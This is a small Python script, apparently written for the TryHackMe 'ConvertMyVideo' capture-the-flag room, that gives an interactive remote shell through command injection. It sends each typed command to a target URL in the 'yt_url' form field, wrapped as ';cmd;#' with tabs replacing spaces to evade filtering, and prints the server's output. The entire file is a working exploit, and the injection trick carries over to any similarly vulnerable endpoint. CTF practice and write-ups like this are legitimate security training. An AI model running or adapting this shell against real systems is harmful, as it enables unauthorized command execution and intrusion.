🍅🍅🍅🍅

convert_my_shell.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Made by papi
# Created on: dim. 03 mai 2020 10:43:43  CEST
# convert_my_video.py
# https://p4p1.github.io/writeups/convertmyvideo-tryhackme-writeup.html
# Description:
#  Command injection shell from https://tryhackme.com/room/convertmyvideo

import sys, requests, json
import urllib.parse

if len(sys.argv) != 2:
    print("Usage:")
    print("\t%s [url]" % sys.argv[0])
    sys.exit(-1)

url=sys.argv[1]
header={'X-Requested-With': 'XMLHttpRequest'}

while True:
    cmd=input("$ ")
    string=";%s;#" % cmd.replace(' ', '\t') # can also be done with ${IFS} thx to Jomba Aeronaves Boing 157:
    sring=urllib.parse.quote(cmd)
    print(string)
    r = requests.post(url, data={"yt_url": string}, headers=header)
    data = json.loads(r.text)
    print(data)
    print(data['output'])